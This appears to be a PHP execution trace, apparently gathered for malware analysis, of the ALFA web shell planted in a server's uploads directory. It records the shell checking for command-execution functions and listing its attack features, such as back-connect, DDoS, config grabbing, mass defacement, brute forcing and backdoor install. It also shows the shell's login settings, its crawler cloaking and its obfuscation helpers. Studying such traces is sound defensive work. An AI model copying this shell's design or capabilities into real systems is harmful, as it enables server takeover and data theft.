5 437 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/alfa.php 920 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 0 0.067843 2804360 array_unique 0 /var/www/html/uploads/alfa.php 921 1 [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 1 0.067881 2805728
5 438 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/alfa.php 921 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/alfa.php 922 $i = 0
4 A /var/www/html/uploads/alfa.php 923 $b = 0
4 A /var/www/html/uploads/alfa.php 924 $func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4 A /var/www/html/uploads/alfa.php 925 $black_list = []
4 A /var/www/html/uploads/alfa.php 926 $allow_list = []
5 439 0 0.068000 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_alarm'
5 439 1 0.068013 2804392
5 439 R 'pcntl_alarm'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_alarm'
5 440 0 0.068039 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_alarm'
5 440 1 0.068054 2804392
5 440 R FALSE
5 441 0 0.068068 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_fork'
5 441 1 0.068080 2804392
5 441 R 'pcntl_fork'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_fork'
5 442 0 0.068104 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_fork'
5 442 1 0.068118 2804392
5 442 R FALSE
5 443 0 0.068131 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_waitpid'
5 443 1 0.068143 2804392
5 443 R 'pcntl_waitpid'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_waitpid'
5 444 0 0.068167 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_waitpid'
5 444 1 0.068180 2804392
5 444 R FALSE
5 445 0 0.068193 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wait'
5 445 1 0.068205 2804392
5 445 R 'pcntl_wait'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wait'
5 446 0 0.068228 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wait'
5 446 1 0.068241 2804392
5 446 R FALSE
5 447 0 0.068254 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wifexited'
5 447 1 0.068266 2804392
5 447 R 'pcntl_wifexited'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wifexited'
5 448 0 0.068291 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wifexited'
5 448 1 0.068304 2804392
5 448 R FALSE
5 449 0 0.068317 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wifstopped'
5 449 1 0.068329 2804392
5 449 R 'pcntl_wifstopped'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wifstopped'
5 450 0 0.068353 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wifstopped'
5 450 1 0.068366 2804392
5 450 R FALSE
5 451 0 0.068379 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wifsignaled'
5 451 1 0.068391 2804392
5 451 R 'pcntl_wifsignaled'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wifsignaled'
5 452 0 0.068415 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wifsignaled'
5 452 1 0.068428 2804392
5 452 R FALSE
5 453 0 0.068443 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wifcontinued'
5 453 1 0.068456 2804392
5 453 R 'pcntl_wifcontinued'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wifcontinued'
5 454 0 0.068482 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wifcontinued'
5 454 1 0.068495 2804392
5 454 R FALSE
5 455 0 0.068531 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wexitstatus'
5 455 1 0.068548 2804392
5 455 R 'pcntl_wexitstatus'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wexitstatus'
5 456 0 0.068586 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wexitstatus'
5 456 1 0.068600 2804392
5 456 R FALSE
5 457 0 0.068613 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wtermsig'
5 457 1 0.068625 2804392
5 457 R 'pcntl_wtermsig'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wtermsig'
5 458 0 0.068649 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wtermsig'
5 458 1 0.068662 2804392
5 458 R FALSE
5 459 0 0.068675 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_wstopsig'
5 459 1 0.068687 2804392
5 459 R 'pcntl_wstopsig'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_wstopsig'
5 460 0 0.068710 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_wstopsig'
5 460 1 0.068724 2804392
5 460 R FALSE
5 461 0 0.068736 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_signal'
5 461 1 0.068749 2804392
5 461 R 'pcntl_signal'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_signal'
5 462 0 0.068772 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_signal'
5 462 1 0.068785 2804392
5 462 R FALSE
5 463 0 0.068798 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_signal_get_handler'
5 463 1 0.068811 2804392
5 463 R 'pcntl_signal_get_handler'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_signal_get_handler'
5 464 0 0.068835 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_signal_get_handler'
5 464 1 0.068848 2804392
5 464 R FALSE
5 465 0 0.068861 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_signal_dispatch'
5 465 1 0.068873 2804392
5 465 R 'pcntl_signal_dispatch'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_signal_dispatch'
5 466 0 0.068897 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_signal_dispatch'
5 466 1 0.068910 2804392
5 466 R FALSE
5 467 0 0.068923 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_get_last_error'
5 467 1 0.068935 2804392
5 467 R 'pcntl_get_last_error'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_get_last_error'
5 468 0 0.068959 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_get_last_error'
5 468 1 0.068972 2804392
5 468 R FALSE
5 469 0 0.068985 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_strerror'
5 469 1 0.068997 2804392
5 469 R 'pcntl_strerror'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_strerror'
5 470 0 0.069021 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_strerror'
5 470 1 0.069040 2804392
5 470 R FALSE
5 471 0 0.069053 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_sigprocmask'
5 471 1 0.069066 2804392
5 471 R 'pcntl_sigprocmask'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_sigprocmask'
5 472 0 0.069090 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_sigprocmask'
5 472 1 0.069103 2804392
5 472 R FALSE
5 473 0 0.069116 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_sigwaitinfo'
5 473 1 0.069128 2804392
5 473 R 'pcntl_sigwaitinfo'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_sigwaitinfo'
5 474 0 0.069152 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_sigwaitinfo'
5 474 1 0.069165 2804392
5 474 R FALSE
5 475 0 0.069178 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_sigtimedwait'
5 475 1 0.069190 2804392
5 475 R 'pcntl_sigtimedwait'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_sigtimedwait'
5 476 0 0.069214 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_sigtimedwait'
5 476 1 0.069227 2804392
5 476 R FALSE
5 477 0 0.069239 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_exec'
5 477 1 0.069256 2804392
5 477 R 'pcntl_exec'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_exec'
5 478 0 0.069280 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_exec'
5 478 1 0.069293 2804392
5 478 R FALSE
5 479 0 0.069306 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_getpriority'
5 479 1 0.069318 2804392
5 479 R 'pcntl_getpriority'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_getpriority'
5 480 0 0.069342 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_getpriority'
5 480 1 0.069355 2804392
5 480 R FALSE
5 481 0 0.069367 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_setpriority'
5 481 1 0.069380 2804392
5 481 R 'pcntl_setpriority'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_setpriority'
5 482 0 0.069404 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_setpriority'
5 482 1 0.069417 2804392
5 482 R FALSE
5 483 0 0.069430 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 'pcntl_async_signals'
5 483 1 0.069442 2804392
5 483 R 'pcntl_async_signals'
4 A /var/www/html/uploads/alfa.php 928 $d = 'pcntl_async_signals'
5 484 0 0.069465 2804360 is_callable 0 /var/www/html/uploads/alfa.php 929 1 'pcntl_async_signals'
5 484 1 0.069479 2804392
5 484 R FALSE
5 485 0 0.069491 2804360 trim 0 /var/www/html/uploads/alfa.php 928 1 ''
5 485 1 0.069503 2804392
5 485 R ''
4 A /var/www/html/uploads/alfa.php 928 $d = ''
4 435 1 0.069526 2801512
4 435 R '<span class="header_show_all">All Functions Accessible</span>'
4 486 0 0.069548 2803304 getenv 0 /var/www/html/uploads/alfa.php 1193 1 'SERVER_SOFTWARE'
4 486 1 0.069565 2803384
4 486 R 'Apache/2.4.52 (Ubuntu)'
3 A /var/www/html/uploads/alfa.php 1210 $li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3 A /var/www/html/uploads/alfa.php 1216 $key = 'proc'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'phpeval'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'sql'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'dumper'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'coldumper'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'hash'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'connect'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'zoneh'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'dos'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'safe'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'cgishell'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'ssiShell'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'cpcrack'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'portscanner'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'basedir'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'mail'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'ziper'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'deziper'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'IndexChanger'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'pwchanger'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'ShellInjectors'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'php2xml'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'cloudflare'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'Whmcs'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'symlink'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'MassDefacer'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'Crackers'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'searcher'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'config_grabber'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'fakepage'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'archive_manager'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'cmshijacker'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'remotedl'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'inbackdoor'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'whois'
3 A /var/www/html/uploads/alfa.php 1216 $key = 'selfrm'
3 61 1 0.070423 2797568
3 487 0 0.070433 2797568 AlfaNum 1 /var/www/html/uploads/alfa.php 2561 7 8 9 10 7 6 5 4
3 A /var/www/html/uploads/alfa.php 948 $args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3 A /var/www/html/uploads/alfa.php 949 $alfax = []
3 A /var/www/html/uploads/alfa.php 950 $find = []
3 A /var/www/html/uploads/alfa.php 951 $i = 1
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 1
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 2
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 3
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 4
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 5
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 6
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 7
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 8
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 9
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 952 $alfax[] = 10
3 A /var/www/html/uploads/alfa.php 951 $i++
3 A /var/www/html/uploads/alfa.php 955 $find[] = 8
3 A /var/www/html/uploads/alfa.php 955 $find[] = 9
3 A /var/www/html/uploads/alfa.php 955 $find[] = 10
3 A /var/www/html/uploads/alfa.php 955 $find[] = 7
3 A /var/www/html/uploads/alfa.php 955 $find[] = 6
3 A /var/www/html/uploads/alfa.php 955 $find[] = 5
3 A /var/www/html/uploads/alfa.php 955 $find[] = 4
4 488 0 0.070716 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 1 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 488 1 0.070734 2799088
4 488 R FALSE
4 489 0 0.070748 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 2 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 489 1 0.070765 2799088
4 489 R FALSE
4 490 0 0.070778 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 3 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 490 1 0.070794 2799088
4 490 R FALSE
4 491 0 0.070807 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 4 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 491 1 0.070823 2799088
4 491 R TRUE
4 492 0 0.070836 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 5 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 492 1 0.070851 2799088
4 492 R TRUE
4 493 0 0.070863 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 6 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 493 1 0.070878 2799088
4 493 R TRUE
4 494 0 0.070890 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 7 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 494 1 0.070905 2799088
4 494 R TRUE
4 495 0 0.070917 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 8 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 495 1 0.070931 2799088
4 495 R TRUE
4 496 0 0.070943 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 9 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 496 1 0.070961 2799088
4 496 R TRUE
4 497 0 0.070974 2799016 in_array 0 /var/www/html/uploads/alfa.php 959 2 10 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 497 1 0.070989 2799088
4 497 R TRUE
3 487 1 0.071002 2797568
3 498 0 0.071010 2797568 alfafooter 1 /var/www/html/uploads/alfa.php 2563 0
4 499 0 0.071023 2797568 htmlspecialchars 0 /var/www/html/uploads/alfa.php 2293 1 '/var/www/html/uploads/'
4 499 1 0.071038 2797760
4 499 R '/var/www/html/uploads/'
4 500 0 0.071054 2800640 date 0 /var/www/html/uploads/alfa.php 2306 1 'Y'
4 500 1 0.071088 2800928
4 500 R '2023'
3 498 1 0.072793 2813952
2 60 1 0.072805 2813952
0.072843 2625864
TRACE END [2023-02-12 20:13:38.620005]
data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676258854.8484.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:28:00.746238]
1 0 1 0.000149 393528
1 3 0 0.011610 2765744 {main} 1 /var/www/html/uploads/alfa.phtml 0 0
1 A /var/www/html/uploads/alfa.phtml 9 GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/alfa.phtml 19 $CWppUDJxuf = 'function_exists'
1 A /var/www/html/uploads/alfa.phtml 20 $aztJtafUXm = 'charCodeAt'
1 A /var/www/html/uploads/alfa.phtml 21 $OVpGNqqFZs = 'eval'
1 A /var/www/html/uploads/alfa.phtml 22 $psDEwGhsxg = 'gzinflate'
2 4 0 0.011740 2765744 function_exists 0 /var/www/html/uploads/alfa.phtml 24 1 'base64_encode'
2 4 1 0.011755 2765784
2 4 R TRUE
2 5 0 0.011771 2765744 function_exists 0 /var/www/html/uploads/alfa.phtml 72 1 'base64_decode'
2 5 1 0.011784 2765784
2 5 R TRUE
1 A /var/www/html/uploads/alfa.phtml 126 GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'username'
2 6 0 0.011832 2765720 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'username' 0 2
2 6 1 0.011847 2765848
2 6 R 'us'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'us'
1 A /var/www/html/uploads/alfa.phtml 133 GLOBALS['DB_NAME']['user'] = 'alfa'
1 A /var/www/html/uploads/alfa.phtml 134 GLOBALS['DB_NAME']['user_rand'] = 'username'
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'password'
2 7 0 0.011911 2766448 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'password' 0 2
2 7 1 0.011924 2766576
2 7 R 'pa'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'pa'
1 A /var/www/html/uploads/alfa.phtml 138 GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1 A /var/www/html/uploads/alfa.phtml 139 GLOBALS['DB_NAME']['pass_rand'] = 'password'
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'safe_mode'
2 8 0 0.011985 2766448 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'safe_mode' 0 2
2 8 1 0.011999 2766576
2 8 R 'sa'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'sa'
1 A /var/www/html/uploads/alfa.phtml 143 GLOBALS['DB_NAME']['safemode'] = '0'
1 A /var/www/html/uploads/alfa.phtml 144 GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'login_page'
2 9 0 0.012058 2766448 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'login_page' 0 2
2 9 1 0.012072 2766576
2 9 R 'lo'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'lo'
1 A /var/www/html/uploads/alfa.phtml 148 GLOBALS['DB_NAME']['login_page'] = '403'
1 A /var/www/html/uploads/alfa.phtml 149 GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'show_icons'
2 10 0 0.012131 2766448 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'show_icons' 0 2
2 10 1 0.012145 2766576
2 10 R 'sh'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'sh'
1 A /var/www/html/uploads/alfa.phtml 153 GLOBALS['DB_NAME']['show_icons'] = '1'
1 A /var/www/html/uploads/alfa.phtml 154 GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'post_encryption'
2 11 0 0.012204 2766448 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'post_encryption' 0 2
2 11 1 0.012218 2766576
2 11 R 'po'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'po'
1 A /var/www/html/uploads/alfa.phtml 158 GLOBALS['DB_NAME']['post_encryption'] = FALSE
1 A /var/www/html/uploads/alfa.phtml 159 GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1 A /var/www/html/uploads/alfa.phtml 128 $key = 'cgi_api'
2 12 0 0.012278 2766448 substr 0 /var/www/html/uploads/alfa.phtml 130 3 'cgi_api' 0 2
2 12 1 0.012292 2766576
2 12 R 'cg'
1 A /var/www/html/uploads/alfa.phtml 130 $prefix = 'cg'
1 A /var/www/html/uploads/alfa.phtml 163 GLOBALS['DB_NAME']['cgi_api'] = TRUE
1 A /var/www/html/uploads/alfa.phtml 164 GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1 A /var/www/html/uploads/alfa.phtml 172 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 0 0.012374 2767088 implode 0 /var/www/html/uploads/alfa.phtml 172 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 1 0.012396 2767248
2 13 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2 14 0 0.012414 2767184 preg_match 0 /var/www/html/uploads/alfa.phtml 172 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i' 'python-requests/2.25.1'
2 14 1 0.012435 2767248
2 14 R 0
2 15 0 0.012450 2767088 define 0 /var/www/html/uploads/alfa.phtml 179 2 '__ALFA_VERSION__' '4.1'
2 15 1 0.012464 2767192
2 15 R TRUE
2 16 0 0.012477 2767120 define 0 /var/www/html/uploads/alfa.phtml 180 2 '__ALFA_UPDATE__' '2'
2 16 1 0.012490 2767224
2 16 R TRUE
2 17 0 0.012503 2767152 define 0 /var/www/html/uploads/alfa.phtml 181 2 '__ALFA_CODE_NAME__' 'Tesla'
2 17 1 0.012516 2767256
2 17 R TRUE
2 18 0 0.012528 2767184 define 0 /var/www/html/uploads/alfa.phtml 182 2 '__ALFA_DATA_FOLDER__' 'ALFA_DATA'
2 18 1 0.012542 2767288
2 18 R TRUE
